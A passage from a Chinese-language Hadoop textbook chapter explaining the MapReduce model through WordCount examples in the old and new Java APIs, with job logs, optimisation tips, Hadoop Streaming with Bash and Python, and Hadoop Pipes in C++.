sum=0；\nwhile（values.hasNext（））{\nsum+=values.next（）.get（）；\n}\noutput.collect（key, new IntWritable（sum））；\n}\n}\npublic static void main（String[]args）throws Exception{\nJobConf conf=new JobConf（WordCount.class）；\nconf.setJobName（\"wordcount\"）；\nconf.setOutputKeyClass（Text.class）；\nconf.setOutputValueClass（IntWritable.class）；\nconf.setMapperClass（Map.class）；\nconf.setReducerClass（Reduce.class）；\nconf.setInputFormat（TextInputFormat.class）；\nconf.setOutputFormat（TextOutputFormat.class）；\nFileInputFormat.setInputPaths（conf, new Path（args[0]））；\nFileOutputFormat.setOutputPath（conf, new Path（args[1]））；\nJobClient.runJob（conf）；\n}\n}\n同时，为了叙述方便，设定两个输入文件，如下：\necho\"Hello World Bye World\"＞file01\necho\"Hello Hadoop Goodbye Hadoop\"＞file02\n看到这个程序，相信很多读者会对众多的预定义类感到很迷惑。其实这些类非常简单明了。首先，WordCount程序的代码虽多，但是执行过程却很简单，在本例中，它首先将输入文件读进来，然后交由Map程序处理，Map程序将输入读入后切出其中的单词，并标记它的数目为1，形成＜word，1＞的形式，然后交由Reduce处理，Reduce将相同key值（也就是word）的value值收集起来，形成＜word, list of 1＞的形式，之后将这些1值加起来，即为单词的个数，最后将这个＜key, value＞对以TextOutputFormat的形式输出到HDFS中。\n针对这个数据流动过程，我挑出了如下几句代码来表述它的执行过程：\nJobConf conf=new JobConf（MyMapre.class）；\nconf.setJobName（\"wordcount\"）；\nconf.setInputFormat（TextInputFormat.class）；\nconf.setOutputFormat（TextOutputFormat.class）；\nconf.setMapperClass（Map.class）；\nconf.setReducerClass（Reduce.class）；\nFileInputFormat.setInputPaths（conf, new Path（args[0]））；\nFileOutputFormat.setOutputPath（conf, new Path（args[1]））；\n首先讲解一下Job的初始化过程。Main函数调用Jobconf类来对MapReduce Job进行初始化，然后调用setJobName（）方法命名这个Job。对Job进行合理的命名有助于更快地找到Job，以便在JobTracker和TaskTracker的页面中对其进行监视。接着就会调用setInputPath（）和setOutputPath（）设置输入输出路径。下面会结合WordCount程序重点讲解Inputformat（）、OutputFormat（）、Map（）、Reduce（）这4种方法。\n1.InputFormat（）和InputSplit\nInputSplit是Hadoop中用来把输入数据传送给每个单独的Map, InputSplit存储的并非数据本身，而是一个分片长度和一个记录数据位置的数组。生成InputSplit的方法可以通过Inputformat（）来设置。当数据传送给Map时，Map会将输入分片传送到InputFormat（）上，InputFormat（）则调用getRecordReader（）方法生成RecordReader, RecordReader再通过creatKey（）、creatValue（）方法创建可供Map处理的＜key, value＞对，即＜k1，v1＞。简而言之，InputFormat（）方法是用来生成可供Map处理的＜key, value＞对的。\nHadoop预定义了多种方法将不同类型的输入数据转化为Map能够处理的＜key, value＞对，它们都继承自InputFormat，分别是：\nBaileyBorweinPlouffe. BbpInputFormat\nComposableInputFormat\nCompositeInputFormat\nDBInputFormat\nDistSum. Machine.AbstractInputFormat\nFileInputFormat\n其中，FileInputFormat又有多个子类，分别为：\nCombineFileInputFormat\nKeyValueTextInputFormat\nNLineInputFormat\nSequenceFileInputFormat\nTeraInputFormat\nTextInputFormat\n其中，TextInputFormat是Hadoop默认的输入方法，在TextInputFormat中，每个文件（或其一部分）都会单独作为Map的输入，而这是继承自FileInputFormat的。之后，每行数据都会生成一条记录，每条记录则表示成＜key, value＞形式：\nkey值是每个数据的记录在数据分片中的字节偏移量，数据类型是LongWritable；\nvalue值是每行的内容，数据类型是Text。\n也就是说，输入数据会以如下的形式被传入Map中：\nfile01：\n0 hello world bye world\nfile02\n0 hello hadoop bye hadoop\n因为file01和file02都会被单独输入到一个Map中，因此它们的key值都是0\n2.OutputFormat（）\n对于每一种输入格式都有一种输出格式与其对应。同样，默认的输出格式是TextOutputFormat，这种输出方式与输入类似，会将每条记录以一行的形式存入文本文件。不过，它的键和值可以是任意形式的，因为程序内部会调用toString（）方法将键和值转换为String类型再输出。最后的输出形式如下所示：\nBye 2\nHadoop 2\nHello 2\nWorld 2\n3.Map（）和Reduce（）\nMap（）方法和Reduce（）方法是本章的重点，从前面的内容知道，Map（）函数接收经过InputFormat处理所产生的＜k1，v1＞，然后输出＜k2，v2＞。WordCount的Map（）函数如下：\npublic class MyMapre{\npublic static class Map extends MapReduceBase implements Mapper＜LongWritable，\nText, Text, IntWritable＞{\nprivate final static IntWritable one=new IntWritable（1）；\nprivate Text word=new Text（）；\npublic void map（LongWritable key, Text value，\nOutputCollector＜Text, IntWritable＞output, Reporter reporter）throws IOException{\nString line=value.toString（）；\nStringTokenizer tokenizer=new StringTokenizer（line）；\nwhile（tokenizer.hasMoreTokens（））{\nword.set（tokenizer.nextToken（））；\noutput.collect（word, one）；\n}\n}\n}\nMap（）函数继承自MapReduceBase，并且它实现了Mapper接口，此接口是一个范型类型，它有4种形式的参数，分别用来指定Map（）的输入key值类型、输入value值类型、输出key值类型和输出value值类型。在本例中，因为使用的是TextInputFormat，它的输出key值是LongWritable类型，输出value值是Text类型，所以Map（）的输入类型即为＜LongWritable, Text＞。如前面的内容所述，在本例中需要输出＜word，1＞这样的形式，因此输出的key值类型是Text，输出的value值类型是IntWritable。\n实现此接口类还需要实现Map（）方法，Map（）方法会负责具体对输入进行操作，在本例中，Map（）方法对输入的行以空格为单位进行切分，然后使用OutputCollect收集输出的＜word，1＞，即＜k2，v2＞。\n下面来看Reduce（）函数：\npublic static class Reduce extends MapReduceBase implements Reducer＜Text，\nIntWritable, Text, IntWritable＞{\npublic void reduce（Text key, Iterator＜IntWritable＞values，\nOutputCollector＜Text, IntWritable＞output, Reporter reporter）throws IOException{\nint sum=0；\nwhile（values.hasNext（））{\nsum+=values.next（）.get（）；\n}\noutput.collect（key, new IntWritable（sum））；\n}\n}\n与Map（）类似，Reduce（）函数也继承自MapReduceBase，需要实现Reducer接口。Reduce（）函数以Map（）的输出作为输入，因此Reduce（）的输入类型是＜Text, IneWritable＞。而Reduce（）的输出是单词和它的数目，因此，它的输出类型是＜Text, IntWritable＞。Reduce（）函数也要实现Reduce（）方法，在此方法中，Reduce（）函数将输入的key值作为输出的key值，然后将获得的多个value值加起来，作为输出的value值。\n4.运行MapReduce程序\n读者可以在Eclipse里运行MapReduce程序，也可以在命令行中运行MapReduce程序，但是在实际应用中，还是推荐到命令行中运行程序。按照第2章介绍的步骤，首先安装Hadoop，然后输入编译打包生成的JAR程序，如下所示（以Hadoop-0.20.2为例，安装路径是～/hadoop）：\nmkdir FirstJar\njavac-classpath～/hadoop/hadoop-0.20.2-core.jar-d FirstJar\nWordCount.java\njar-cvf wordcount.jar-C FirstJar/.\n首先建立FirstJar，然后编译文件生成.class，存放到文件夹FirstJar中，并将FirstJar中的文件打包生成wordcount.jar文件。\n接着上传输入文件（输入文件是file01，file02，存放在～/input）：\n～/hadoop/bin/hadoop dfs-mkdir input\n～/hadoop/bin/hadoop dfs-put～/input/file0*input\n在此上传过程中，先建立文件夹input，然后上传文件file01、file02到input中。\n最后运行生成的JAR文件，为了叙述方便，先将生成的JAR文件放入Hadoop的安装文件夹中（HADOOP_HOME），然后运行如下命令。\n～/hadoop/bin/hadoop jar wordcount.jar WordCount input output\n11/01/21 20：02：38 WARN mapred.JobClient：Use GenericOptionsParser for parsing the\narguments.Applications should implement Tool for the same.\n11/01/21 20：02：38 INFO mapred.FileInputFormat：Total input paths to process：2\n11/01/21 20：02：38 INFO mapred.JobClient：Running job：job_201101111819_0002\n11/01/21 20：02：39 INFO mapred.JobClient：map 0%reduce 0%\n11/01/21 20：02：49 INFO mapred.JobClient：map 100%reduce 0%\n11/01/21 20：03：01 INFO mapred.JobClient：map 100%reduce 100%\n11/01/21 20：03：03 INFO mapred.JobClient：Job complete：job_201101111819_0002\n11/01/21 20：03：03 INFO mapred.JobClient：Counters：18\n11/01/21 20：03：03 INFO mapred.JobClient：Job Counters\n11/01/21 20：03：03 INFO mapred.JobClient：Launched reduce tasks=1\n11/01/21 20：03：03 INFO mapred.JobClient：Launched map tasks=2\n11/01/21 20：03：03 INFO mapred.JobClient：Data-local map tasks=2\n11/01/21 20：03：03 INFO mapred.JobClient：FileSystemCounters\n11/01/21 20：03：03 INFO mapred.JobClient：FILE_BYTES_READ=100\n11/01/21 20：03：03 INFO mapred.JobClient：HDFS_BYTES_READ=46\n11/01/21 20：03：03 INFO mapred.JobClient：FILE_BYTES_WRITTEN=270\n11/01/21 20：03：03 INFO mapred.JobClient：HDFS_BYTES_WRITTEN=31\n11/01/21 20：03：03 INFO mapred.JobClient：Map-Reduce Framework\n11/01/21 20：03：04 INFO mapred.JobClient：Reduce input groups=4\n11/01/21 20：03：04 INFO mapred.JobClient：Combine output records=0\n11/01/21 20：03：04 INFO mapred.JobClient：Map input records=2\n11/01/21 20：03：04 INFO mapred.JobClient：Reduce shuffle bytes=106\n11/01/21 20：03：04 INFO mapred.JobClient：Reduce output records=4\n11/01/21 20：03：04 INFO mapred.JobClient：Spilled Records=16\n11/01/21 20：03：04 INFO mapred.JobClient：Map output bytes=78\n11/01/21 20：03：04 INFO mapred.JobClient：Map input bytes=46\n11/01/21 20：03：04 INFO mapred.JobClient：Combine input records=0\n11/01/21 20：03：04 INFO mapred.JobClient：Map output records=8\n11/01/21 20：03：04 INFO mapred.JobClient：Reduce input records=8\nHadoop命令（注意不是Hadoop本身）会启动一个JVM来运行这个MapReduce程序，并自动获取Hadoop的配置，同时把类的路径（及其依赖关系）加入到Hadoop的库中。以上就是Hadoop Job的运行记录，从这里面可以看到，这个Job被赋予了一个ID号：job_201101111819_0002，而且得知输入文件有两个（Total input paths to process：2），同时还可以了解Map的输入输出记录（record数及字节数），以及Reduce的输入输出记录。比如说，在本例中，Map的task数量是2个，Reduce的Task数量是一个；Map的输入record数是2个，输出record数是8个等。\n可以通过命令查看输出文件输出文件为：\nbye 2\nhadoop 2\nhello 2\nworld 2\n5.新的API\n从0.20.2版本开始，Hadoop提供了一个新的API。新的API是在org.apache.hadoop.mapreduce中的，旧版的API则在org.apache.hadoop.mapred中。新的API不兼容旧的API, WordCount程序用新的API重写如下：\npackage cn.ruc.edu.cloudcomputing.book.chaptero3；\nimport java.io.IOException；\nimport java.util.*；\nimport org.apache.hadoop.fs.Path；\nimport org.apache.hadoop.conf.*；\nimport org.apache.hadoop.io.*；\nimport org.apache.hadoop.mapreduce.*；\nimport org.apache.hadoop.mapreduce.lib.input.*；\nimport org.apache.hadoop.mapreduce.lib.output.*；\nimport org.apache.hadoop.util.*；\npublic class WordCount extends Configured implements Tool{\npublic static class Map extends Mapper＜LongWritable, Text, Text, IntWritable＞{\nprivate final static IntWritable one=new IntWritable（1）；\nprivate Text word=new Text（）；\npublic void map（LongWritable key, Text value, Context context）\nthrows IOException, InterruptedException{\nString line=value.toString（）；\nStringTokenizer tokenizer=new StringTokenizer（line）；\nwhile（tokenizer.hasMoreTokens（））{\nword.set（tokenizer.nextToken（））；\ncontext.write（word, one）；\n}\n}\n}\npublic static class Reduce extends Reducer＜Text, IntWritable, Text，\nIntWritable＞{\npublic void reduce（Text key, Iterable＜IntWritable＞values, Context context）\nthrows IOException, InterruptedException{\nint sum=0；\nfor（IntWritable val：values）{\nsum+=val.get（）；\n}\ncontext.write（key, new IntWritable（sum））；\n}\n}\npublic int run（String[]args）throws Exception{\nJob job=new Job（getConf（））；\njob.setJarByClass（WordCount.class）；\njob.setJobName（\"wordcount\"）；\njob.setOutputKeyClass（Text.class）；\njob.setOutputValueClass（IntWritable.class）；\njob.setMapperClass（Map.class）；\njob.setReducerClass（Reduce.class）；\njob.setInputFormatClass（TextInputFormat.class）；\njob.setOutputFormatClass（TextOutputFormat.class）；\nFileInputFormat.setInputPaths（job, new Path（args[0]））；\nFileOutputFormat.setOutputPath（job, new Path（args[1]））；\nboolean success=job.waitForCompletion（true）；\nreturn success?0：1；\n}\npublic static void main（String[]args）throws Exception{\nint ret=ToolRunner.run（new WordCount（），args）；\nSystem.exit（ret）；\n}\n}\n从这个程序可以看到新旧API的几个区别：\n在新的API中，Mapper与Reducer已经不是接口而是抽象类。而且Map函数与Reduce函数也已经不再实现Mapper和Reducer接口，而是继承Mapper和Reducer抽象类。这样做更容易扩展，因为添加方法到抽象类中更容易。\n新的API中更广泛地使用了context对象，并使用MapContext进行MapReduce间的通信，MapContext同时充当OutputCollector和Reporter的角色。\nJob的配置统一由Configurartion来完成，而不必额外地使用JobConf对守护进程进行配置。\n由Job类来负责Job的控制，而不是JobClient, JobClient在新的API中已经被删除。这些区别，都可以在以上的程序中看出。\n3.2.3 MapReduce的数据流和控制流\n前面已经提到了MapReduce的数据流和控制流的关系，本节将结合WordCount实例具体解释它们的含义。图3-2是上例中WordCount程序的执行流程。\n图 3-2 MapReduce工作的简易图\n由前面的内容知道，负责控制及调度MapReduce的Job的是JobTracker，负责运行MapReduce的Job的是TaskTracker。当然，MapReduce在运行时是分成Map Task和Reduce Task来处理的，而不是完整的Job。简单的控制流大概是这样的：JobTracker调度任务给TaskTracker, TaskTracker执行任务时，会返回进度报告。JobTracker则会记录进度的进行状况，如果某个TaskTracker上的任务执行失败，那么JobTracker会把这个任务分配给另一台TaskTracker，直到任务执行完成。\n这里更详细地解释一下数据流。上例中有两个Map任务及一个Reduce任务。数据首先按照TextInputFormat形式被处理成两个InputSplit，然后输入到两个Map中，Map程序会读取InputSplit指定位置的数据，然后按照设定的方式处理该数据，最后写入到本地磁盘中。注意，这里并不是写到HDFS上，这应该很好理解，因为Map的输出在Job完成后即可删除了，因此不需要存储到HDFS上，虽然存储到HDFS上会更安全，但是因为网络传输会降低MapReduce任务的执行效率，因此Map的输出文件是写在本地磁盘上的。如果Map程序在没来得及将数据传送给Reduce时就崩溃了（程序出错或机器崩溃），那么JobTracker只需要另选一台机器重新执行这个Task就可以了。\nReduce会读取Map的输出数据，合并value，然后将它们输出到HDFS上。Reduce的输出会占用很多的网络带宽，不过这与上传数据一样是不可避免的。如果大家还是不能很好地理解数据流的话，下面有一个更具体的图（WordCount执行时的数据流），如图3-3所示。\n图 3-3 WordCount数据流程图\n相信看到图3-3，大家就会对MapReduce的执行过程有更深刻的了解了。\n除此之外，还有两种情况需要注意：\n1）MapReduce在执行过程中往往不止一个Reduce Task, Reduce Task的数量是可以程序指定的。当存在多个Reduce Task时，每个Reduce会搜集一个或多个key值。需要注意的是，当出现多个Reduce Task时，每个Reduce Task都会生成一个输出文件。\n2）另外，没有Reduce任务的时候，系统会直接将Map的输出结果作为最终结果，同时Map Task的数量可以看做是Reduce Task的数量，即有多少个Map Task就有多少个输出文件。\n3.3 MapReduce任务的优化\n相信每个程序员在编程时都会问自己两个问题“我如何完成这个任务”，以及“怎么能让程序运行得更快”。同样，MapReduce计算模型的多次优化也是为了更好地解答这两个问题。\nMapReduce计算模型的优化涉及了方方面面的内容，但是主要集中在两个方面：一是计算性能方面的优化；二是I/O操作方面的优化。这其中，又包含六个方面的内容。\n1.任务调度\n任务调度是Hadoop中非常重要的一环，这个优化又涉及两个方面的内容。计算方面：Hadoop总会优先将任务分配给空闲的机器，使所有的任务能公平地分享系统资源。I/O方面：Hadoop会尽量将Map任务分配给InputSplit所在的机器，以减少网络I/O的消耗。\n2.数据预处理与InputSplit的大小\nMapReduce任务擅长处理少量的大数据，而在处理大量的小数据时，MapReduce的性能就会逊色很多。因此在提交MapReduce任务前可以先对数据进行一次预处理，将数据合并以提高MapReduce任务的执行效率，这个办法往往很有效。如果这还不行，可以参考Map任务的运行时间，当一个Map任务只需要运行几秒就可以结束时，就需要考虑是否应该给它分配更多的数据。通常而言，一个Map任务的运行时间在一分钟左右比较合适，可以通过设置Map的输入数据大小来调节Map的运行时间。在FileInputFormat中（除了CombineFileInputFormat），Hadoop会在处理每个Block后将其作为一个InputSplit，因此合理地设置block块大小是很重要的调节方式。除此之外，也可以通过合理地设置Map任务的数量来调节Map任务的数据输入。\n3.Map和Reduce任务的数量\n合理地设置Map任务与Reduce任务的数量对提高MapReduce任务的效率是非常重要的。默认的设置往往不能很好地体现出MapReduce任务的需求，不过，设置它们的数量也要有一定的实践经验。\n首先要定义两个概念—Map/Reduce任务槽。Map/Reduce任务槽就是这个集群能够同时运行的Map/Reduce任务的最大数量。比如，在一个具有1200台机器的集群中，设置每台机器最多可以同时运行10个Map任务，5个Reduce任务。那么这个集群的Map任务槽就是12000，Reduce任务槽是6000。任务槽可以帮助对任务调度进行设置。\n设置MapReduce任务的Map数量主要参考的是Map的运行时间，设置Reduce任务的数量就只需要参考任务槽的设置即可。一般来说，Reduce任务的数量应该是Reduce任务槽的0.95倍或是1.75倍，这是基于不同的考虑来决定的。当Reduce任务的数量是任务槽的0.95倍时，如果一个Reduce任务失败，Hadoop可以很快地找到一台空闲的机器重新执行这个任务。当Reduce任务的数量是任务槽的1.75倍时，执行速度快的机器可以获得更多的Reduce任务，因此可以使负载更加均衡，以提高任务的处理速度。\n4.Combine函数\nCombine函数是用于本地合并数据的函数。在有些情况下，Map函数产生的中间数据会有很多是重复的，比如在一个简单的WordCount程序中，因为词频是接近与一个zipf分布的，每个Map任务可能会产生成千上万个＜the，1＞记录，若将这些记录一一传送给Reduce任务是很耗时的。所以，MapReduce框架运行用户写的combine函数用于本地合并，这会大大减少网络I/O操作的消耗。此时就可以利用combine函数先计算出在这个Block中单词the的个数。合理地设计combine函数会有效地减少网络传输的数据量，提高MapReduce的效率。\n在MapReduce程序中使用combine很简单，只需在程序中添加如下内容：\njob.setCombinerClass（combine.class）；\n在WordCount程序中，可以指定Reduce类为combine函数，具体如下：\njob.setCombinerClass（Reduce.class）；\n5.压缩\n编写MapReduce程序时，可以选择对Map的输出和最终的输出结果进行压缩（同时可以选择压缩方式）。在一些情况下，Map的中间输出可能会很大，对其进行压缩可以有效地减少网络上的数据传输量。对最终结果的压缩虽然会减少数据写HDFS的时间，但是也会对读取产生一定的影响，因此要根据实际情况来选择（第7章中提供了一个小实验来验证压缩的效果）。\n6.自定义comparator\n在Hadoop中，可以自定义数据类型以实现更复杂的目的，比如，当读者想实现k-means算法（一个基础的聚类算法）时可以定义k个整数的集合。自定义Hadoop数据类型时，推荐自定义comparator来实现数据的二进制比较，这样可以省去数据序列化和反序列化的时间，提高程序的运行效率（具体会在第7章中讲解）。\n3.4 Hadoop流\nHadoop流提供了一个API，允许用户使用任何脚本语言写Map函数或Reduce函数。Hadoop流的关键是，它使用UNIX标准流作为程序与Hadoop之间的接口。因此，任何程序只要可以从标准输入流中读取数据并且可以写入数据到标准输出流，那么就可以通过Hadoop流使用其他语言编写MapReduce程序的Map函数或Reduce函数。\n举个最简单的例子（本例的运行环境：Ubuntu, Hadoop-0.20.2）：\nbin/hadoop jar contrib/streaming/hadoop-0.20.2-streaming.jar-input input-output\noutput-mapper/bin/cat-reducer usr/bin/wc\n从这个例子中可以看到，Hadoop流引入的包是hadoop-0.20.2-streaming.jar，并且具有如下命令：\n-input指明输入文件路径\n-output指明输出文件路径\n-mapper指定map函数\n-reducer指定reduce函数\nHadoop流的操作还有其他参数，后面会一一列出。\n 3.4.1 Hadoop流的工作原理\n先来看Hadoop流的工作原理。在上例中，Map和Reduce都是Linux内的可执行文件，更重要的是，它们接受的都是标准输入（stdin），输出的都是标准输出（stdout）。如果大家熟悉Linux，那么对它们一定不会陌生。执行上一节中的示例程序的过程如下所示。\n程序的输入与WordCount程序是一样的，具体如下：\nfile01：\nhello world bye world\nfile02\nhello hadoop bye hadoop\n输入命令：\nbin/hadoop jar contrib/streaming/hadoop-0.20.2-streaming.jar-input input-output\noutput-mapper/bin/cat-reducer/usr/bin/wc\n显示：\npackageJobJar：[/root/tmp/hadoop-unjar7103575849190765740/][]/tmp/\nstreamjob2314757737747407133.jar tmpDir=null\n11/01/23 02：07：36 INFO mapred.FileInputFormat：Total input paths to process：2\n11/01/23 02：07：37 INFO streaming.StreamJob：getLocalDirs（）：[/root/tmp/mapred/local]\n11/01/23 02：07：37 INFO streaming.StreamJob：Running job：job_201101111819_0020\n11/01/23 02：07：37 INFO streaming.StreamJob：To kill this job, run：\n11/01/23 02：07：37 INFO streaming.StreamJob：/root/hadoop/bin/hadoop job-Dmapred.\njob.tracker=localhost：9001-kill job_201101111819_0020\n11/01/23 02：07：37 INFO streaming.StreamJob：Tracking URL：http：//localhost：50030/\njobdetails.jsp?jobid=job_201101111819_0020\n11/01/23 02：07：38 INFO streaming.StreamJob：map 0%reduce 0%\n11/01/23 02：07：47 INFO streaming.StreamJob：map 100%reduce 0%\n11/01/23 02：07：59 INFO streaming.StreamJob：map 100%reduce 100%\n11/01/23 02：08：02 INFO streaming.StreamJob：Job complete：job_201101111819_0020\n11/01/23 02：08：02 INFO streaming.StreamJob：Output：output\n程序的输出是：\n2 8 46\nwc命令用来统计文件中的行数、单词数与字节数，可以看到，这个结果是正确的。\nHadoop流的工作原理并不复杂，其中Map的工作原理如图3-4所示（Reduce与其相同）。\n图 3-4 Hadoop流的Map流程图\n当一个可执行文件作为Mapper时，每一个Map任务会以一个独立的进程启动这个可执行文件，然后在Map任务运行时，会把输入切分成行提供给可执行文件，并作为它的标准输入（stdin）内容。当可执行文件运行出结果时，Map从标准输出（stdout）中收集数据，并将其转化为＜key, value＞对，作为Map的输出。\nReduce与Map相同，如果可执行文件做Reducer时，Reduce任务会启动这个可执行文件，并且将＜key, value＞对转化为行作为这个可执行文件的标准输入（stdin）。然后Reduce会收集这个可执行文件的标准输出（stdout）的内容。并把每一行转化为＜key, value＞对，作为Reduce的输出。\nMap与Reduce将输出转化为＜key, value＞对的默认方法是：将每行的第一个tab符号（制表符）之前的内容作为key，之后的内容作为value。如果没有tab符号，那么这一行的所有内容会作为key，而value值为null。当然这是可以更改的。\n值得一提的是，可以使用Java类作为Map，而用一个可执行程序作为Reduce；或使用Java类作为Reduce，而用可执行程序作为Map。例如：\n/bin/hadoop jar contrib/streaming/hadoop-0.20.2-streaming.jar\n-input myInputDirs-output myOutputDir-mapper\norg.apache.hadoop.mapred.lib.IdentityMapper-reducer/bin/wc\n3.4.2 Hadoop流的命令\nHadoop流提供自己的流命令选项及一个通用的命令选项，用于设置Hadoop流任务。首先介绍一下流命令。\n1.Hadoop流命令选项\nHadoop流命令具体内容如表3-1所示。\n表3-1所示的Hadoop流命令中，必选的4个很好理解，分别用于指定输入/输出文件的位置及Map/Reduce函数。在其他的可选命令中，这里我们只解释常用的几个。\n-file\n-file指令用于将文件加入到Hadoop的Job中。上面的例子中，cat和wc都是Linux系统中的命令，而在Hadoop流的使用中，往往需要使用自己写的文件（作为Map函数或Reduce函数）。一般而言，这些文件是Hadoop集群中的机器上没有的，这时就需要使用Hadoop流中的-file命令将这个可执行文件加入到Hadoop的Job中。\n-combiner\n这个命令用来加入combiner程序。\n-inputformat和-outputformat\n这两个命令用来设置输入输出文件的处理方法，这两个命令后面的参数必须是Java类。\n2.Hadoop流通用的命令选项\nHadoop流的通用命令用来配置Hadoop流的Job。需要注意的是，如果使用这部分配置，就必须将其置于流命令配置之前，否则命令会失败。这里简要列出命令列表（如表3-2所示），供大家参考。\n3.4.3 两个例子\n从上面的内容可以知道，Hadoop流的API是一个扩展性非常强的框架，它与程序相连的部分只有数据，因此可以接受任何适用于UNIX标准输入/输出的脚本语言，比如Bash、PHP、Ruby、Python等。\n下面举两个非常简单的例子来进一步说明它的特性。\n1.Bash\nMapReduce框架是一个非常适合在大规模的非结构化数据中查找数据的编程模型，grep就是这种类型的一个例子。\n在Linux中，grep命令用来在一个或多个文件中查找某个字符模式（这个字符模式可以代表字符串，多用正则表达式表示）。\n下面尝试在如下的数据中查找带有Hadoop字符串的行，如下所示。\n输入文件为：\nfile01：\nhello world bye world\nfile02：\nhello hadoop bye hadoop\nreduce文件为：\nreduce.sh：\ngrep hadoop\n输入命令为：\nbin/hadoop jar contrib/streaming/hadoop-0.20.2-streaming.jar-input input-output\noutput-mapper/bin/cat-reducer～/Desktop/test/reducer.sh-file～/Desktop/test/\nreducer.sh\n结果为：\nhello hadoop bye hadoop\n显然，这个结果是正确的。\n2.Python\n对于Python来说，情况有些特殊。因为Python是可以编译为JAR包的，如果将程序编译为JAR包，那么就可以采用运行JAR包的方式来运行了。\n不过，同样也可以用流的方式运行Python程序。请看如下代码：\nReduce.py\n#！/usr/bin/python\nimport sys；\ndef generateLongCountToken（id）：\nreturn\"LongValueSum：\"+id+\"\\t\"+\"1\"\ndef main（argv）：\nline=sys.stdin.readline（）；\ntry：\nwhile line：\nline=line[：-1]；\nfields=line.split（\"\\t\"）；\nprint generateLongCountToken（fields[0]）；\nline=sys.stdin.readline（）；\nexcept\"end of file\"：\nreturn None\nif__name__==\"__main__\"：\nmain（sys.argv）\n使用如下命令来运行：\nbin/hadoop jar contrib/streaming/hadoop-0.20.2-streaming.jar-input input-output\npyoutput-mapper reduce.py-reducer aggregate-file reduce.py\n注意其中的aggregate是Hadoop提供的一个包，它提供一个Reduce函数和一个combine函数。这个函数实现一些简单的类似求和、取最大值最小值等的功能。\n3.5 Hadoop Pipes\nHadoop Pipes提供了一个在Hadoop上运行C++程序的方法。与流不同的是，流使用的是标准输入输出作为可执行程序与Hadoop相关进程间通信的工具，而Pipes使用的是Sockets。先看一个示例程序wordcount.cpp：\n#include\"hadoop/Pipes.hh\"\n#include\"hadoop/TemplateFactory.hh\"\n#include\"hadoop/StringUtils.hh\"\nconst std：string WORDCOUNT=\"WORDCOUNT\"；\nconst std：string INPUT_WORDS=\"INPUT_WORDS\"；\nconst std：string OUTPUT_WORDS=\"OUTPUT_WORDS\"；\nclass WordCountMap：public HadoopPipes：Mapper{\npublic：\nHadoopPipes：TaskContext：Counter*inputWords；\nWordCountMap（HadoopPipes：TaskContext＆context）{\ninputWords=context.getCounter（WORDCOUNT, INPUT_WORDS）；\n}\nvoid map（HadoopPipes：MapContext＆context）{\nstd：vector＜std：string＞words=\nHadoopUtils：splitString（context.getInputValue（），\"\"）；\nfor（unsigned int i=0；i＜words.size（）；++i）{\ncontext.emit（words[i]，\"1\"）；\n}\ncontext.incrementCounter（inputWords, words.size（））；\n}\n}；\nclass WordCountReduce：public HadoopPipes：Reducer{\npublic：\nHadoopPipes：TaskContext：Counter*outputWords；\nWordCountReduce（HadoopPipes：TaskContext＆context）{\noutputWords=context.getCounter（WORDCOUNT, OUTPUT_WORDS）；\n}\nvoid reduce（HadoopPipes：ReduceContext＆context）{\nint sum=0；\nwhile（context.nextValue（））{\nsum+=HadoopUtils：toInt（context.getInputValue（））；\n}\ncontext.emit（context.getInputKey（），HadoopUtils：toString（sum））；\ncontext.incrementCounter（outputWords，1）；\n}\n}；\nint main（int argc, char*argv[]）{\nreturn HadoopPipes：runTask（HadoopPipes：TemplateFactory＜WordCountMap，\nWordCountReduce＞（））；\n}\n这个程序连接的是一个C++库，结构类似于Java编写的程序。如新版API一样，这个程序使用context方法读入和收集＜key, value＞对。在使用时要重写HadoopPipes名字空间下的Mapper和Reducer函数，并用context.emit（）方法输出＜key, value＞对。main函数是应用程序的入口，它调用HadoopPipes：runTask方法，这个方法由一个TemplateFactory参数来创建Map和Reduce实例，也可以重载factory设置combiner（）、partitioner（）、record reader、record writer。\n接下来，编译这个程序。这个编译命令需要用到g++，读者可以使用apt自动安装这个程序。g++的命令格式如下所示：\napt-get install g++\n然后建立文件Makerfile，如下所示：\nHADOOP_INSTALL=\"你的hadoop安装文件夹\"\nPLATFORM=Linux-i386-32（如果是AMD的CPU，请使用Linux-amd64-64）\nCC=g++\nCPPFLAGS=-m32-I$（HADOOP_INSTALL）/c++/$（PLATFORM）/include\nwordcount：wordcount.cpp\n$（CC）$（CPPFLAGS）$＜-Wall-L$（HADOOP_INSTALL）/c++/$（PLATFORM）/lib-lhadooppipes\n-lhadooputils-lpthread-g-O2-o$@\n注意在$（CC）前有一个＜tab＞符号，这个分隔符是很关键的。\n在当前目录下建立一个WordCount可执行文件。\n接着，上传可执行文件到HDFS上，这是为了TaskTracker能够获得这个可执行文件。这里上传到bin文件夹内。\n～/hadoop/bin/hadoop fs-mkdir bin\n～/hadoop/bin/hadoop dfs-put wordcount bin\n然后，就可以运行这个MapReduce程序了，可以采用两种配置方式运行这个程序。一种方式是直接在命令中运行指定配置，如下所示：\n～/hadoop/bin/hadoop pipes\\\n-D hadoop.pipes.java.recordreader=true\\\n-D hadoop.pipes.java.recordwriter=true\\\n-input input\\\n-output Coutput\\\n-program bin/wordcount\n另一种方式是预先将配置写入配置文件中，如下所示：\n＜?xml version=\"1.0\"?＞\n＜configuration＞\n＜property＞\n//Set the binary path on DFS\n＜name＞hadoop.pipes.executable＜/name＞\n＜value＞bin/wordcount＜/value＞\n＜/property＞\n＜property＞\n＜name＞hadoop.pipes.java.recordreader＜/name＞\n＜value＞true＜/value＞\n＜/property＞\n＜property＞\n＜name＞hadoop.pipes.java.recordwriter＜/name＞\n＜value＞true＜/value＞\n＜/property＞\n＜/configuration＞\n然后通过如下命令运行这个程序：\n～/hadoop/bin/hadoop pipes-conf word.xml-input input-output output\n将参数hadoop.pipes.executable和hadoop.pipes.java.recordreader设置为true表示使用Hadoop默认的输入输出方式（即Java的）。同样的，也可以设置一个Java语言编写的Mapper函数、Reducer函数、combiner函数和partitioner函数。实际上，在任何一个作业中，都可以混用Java类和C++类。\n3.6 本章小结\n本章主要介绍了MapReduce的计算模型，其中的关键内容是一个流程和四个方法。一个流程指的是数据流程，输入数据到＜k1，v1＞、＜k1，v1＞到＜k2，v2＞、＜k2，v2＞到＜k3，v3＞、＜k3，v3＞到输出数据。四个方法就是这个数据转换过程中使用的方法（分别是InputFormat、Map、Reduce、OutputFormat），以及其对应的转换过程。除此之外，还介绍了MapReduce编程框架的几个优化方法，以及Hadoop流和Hadoop Pipes，后者是在Hadoop中使用脚本文件及C++编写MapReduce程序的方法。\n第4章 